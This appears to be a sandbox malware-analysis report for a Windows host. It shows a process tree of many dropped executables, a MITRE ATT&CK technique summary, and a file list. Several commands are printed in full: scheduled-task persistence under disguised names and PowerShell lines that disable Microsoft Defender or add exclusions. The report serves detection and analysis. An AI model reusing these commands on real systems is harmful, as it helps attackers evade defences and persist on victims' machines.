C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3276 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3752 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3808 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3920 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4092 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4208 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4268 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4412 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4304 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5340 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3780 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3976 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3744 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5356 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4976 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1088 /prefetch:85⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\klr.exe"C:\Users\Admin\AppData\Local\Temp\a\klr.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exe"C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"' & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"'5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpECB6.tmp.bat""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout 35⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\vortex.exe"C:\Users\Admin\AppData\Roaming\vortex.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe"C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe"C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe"3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\7.exe"C:\Users\Admin\AppData\Local\Temp\a\7.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8.exe"C:\Users\Admin\AppData\Local\Temp\a\8.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe"C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe"3⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe" /sc onlogon /rl highest4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Ebu.exe"C:\Users\Admin\AppData\Local\Temp\a\Ebu.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe"C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\php.exe"C:\Users\Admin\AppData\Local\Temp\a\php.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\hilton.exe"C:\Users\Admin\AppData\Local\Temp\a\hilton.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exe"C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\n.exe"C:\Users\Admin\AppData\Local\Temp\a\n.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\loader.exe"C:\Users\Admin\AppData\Local\Temp\a\loader.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 0D4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\install.exe"C:\Users\Admin\AppData\Local\Temp\a\install.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\finale.exe"C:\Users\Admin\AppData\Local\Temp\a\finale.exe"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W7e12e485"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W7e12e485\core.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W7e12e485"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exe"C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe"C:\Users\Admin\AppData\Local\Temp\a\21.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-M6L08TJW77.tmp\21.tmp"C:\Users\Admin\AppData\Local\Temp\is-M6L08TJW77.tmp\21.tmp" /SL5="$30440,2663286,871424,C:\Users\Admin\AppData\Local\Temp\a\21.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exe"C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exe"C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ntoyxgjx\ntoyxgjx.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES51A9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF6B2EA8BC1C44A819E87821D783EEA51.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzw3zbmm\zzw3zbmm.cmdline"4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe"C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeC:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exe"C:\Users\Admin\AppData\Local\Temp\a\vnc.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\EBD8.tmp.exeC:\Users\Admin\AppData\Local\Temp\EBD8.tmp.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\ProgramData\adecfabcbbc.exe"C:\ProgramData\adecfabcbbc.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\nvtelemetryfsk.exeC:\Users\Admin\AppData\Roaming\nvtelemetryfsk.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\velogs.exeC:\Users\Admin\AppData\Roaming\velogs.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exeC:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 00C37158787C3BABAD150D8D7C644D10 C2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4E19.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241128640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0E5307AF4279FCE44B076B7AD587D384 C2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CB644D154D1AD234554F37EBD8B78D13 U2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 40764E07CBE716372B7C5D12FB48B874 C2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 34BAFA3BDE30C4A989FD381ACEA8AFA82⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exeC:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe1⤵
- Executes dropped EXE
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exeC:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sysC:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exeC:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe1⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe" /sc onlogon /rl highest2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\vortex.exe"C:\Users\Admin\AppData\Roaming\vortex.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
4File Deletion
4Modify Registry
5Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
6System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
e5fe019.rbs
manifest.json
manifest.json
{D562F529-7B75-4D50-81A4-D01EA25B3B91}.session
blocklist
protocols.json
settings.dat
settings.dat
BookmarkMergedSurfaceOrdering
the-real-index
the-real-index~RFe5ef115.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
Network Persistent State
cf20250e-08ac-4083-8898-ea7a066b3160.tmp
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
OperationConfig
OperationConfig~RFe5f816e.TMP
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
790ad5b7-7ad4-42d7-a822-54a6e99609d0.tmp
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
0f7a5756-5623-4495-9f9d-9a21ac3df504.tmp
Callisto.ini
EBD8.tmp.exe
settings.dat
Local State
Local State
Local State~RFe60cc4d.TMP
MSIAC0B.tmp
MSID1E4.tmp
__PSScriptPolicyTest_k5waibkb.3e1.ps1
1.exe
2.exe
21.exe
3.exe
4.exe
5fzscnissh1s.exe
6eq5gvOfRvNmCi54.exe
7.exe
8.exe
877901a58750.exe
9z7BGnRGpgs8cZv7.exe
CFXBypass.exe
Client-built.exe
Ebu.exe
Isass.exe
JavaChecker.exe
RedX_Setup.exe
ScreenConnect.ClientService.exe
ScreenConnect.ClientSetup.exe
ScreenConnect.WindowsBackstageShell.exe
ScreenConnect.WindowsClient.exe
ScreenConnect.WindowsFileManager.exe
SshCracker.exe
Upaavirkeligheden.exe
a.exe
a7118141be1f.exe
app.exe
bot_x64.exe
byk4d5tg4nyo.exe
client.exe
db9c0fee.exe
desk.exe
file_37b904483beaa60e.exe
file_3a1cc00092af29d0.exe
file_3dfa6b71eb1f52a6.exe
file_73ed34a7752ecb3a.exe
file_77b5757ae75eb20b.exe
file_851477f5539ff9f4.exe
file_8a7c2cae7ca4b114.exe
file_a6357da6a05d7266.exe
file_a8b257b458693ac9.exe
file_ac12f1da1bdab1e0.exe
file_b584670f7ec2f317.exe
file_b82f2dba4422534f.exe
file_c0d2eb6a8b73120b.exe
file_f309f8496f916deb.exe
finale.exe
gM9anpOuZNKX8zHj.exe
hilton.exe
install.exe
kikikmoralibrary.exe
klr.exe
loader.exe
n.exe
php.exe
s.exe
setup.exe
support.client.exe
svc.exe
update.exe
velogs.exe
vnc.exe
wrm.exe
xeno.V1.3.55.exe
xmrig.exe
9s07g59jj323w77x.exe
RandomError.exe
